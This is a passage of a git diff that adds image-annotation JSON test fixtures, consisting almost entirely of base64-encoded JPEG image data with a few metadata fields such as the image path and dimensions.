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", + "imageHeight": 400, + "imageWidth": 400 +} \ No newline at end of file diff --git a/tests/test_files/json/12.json b/tests/test_files/json/12.json new file mode 100644 index 0000000000000000000000000000000000000000..e24f27c2a121e9a71614d3703371dd1ae41d6dfd --- /dev/null +++ b/tests/test_files/json/12.json @@ -0,0 +1,9 @@ +{ + "version": "5.0.1", + "flags": {}, + "shapes": [], + "imagePath": "12.jpg", + "imageData": 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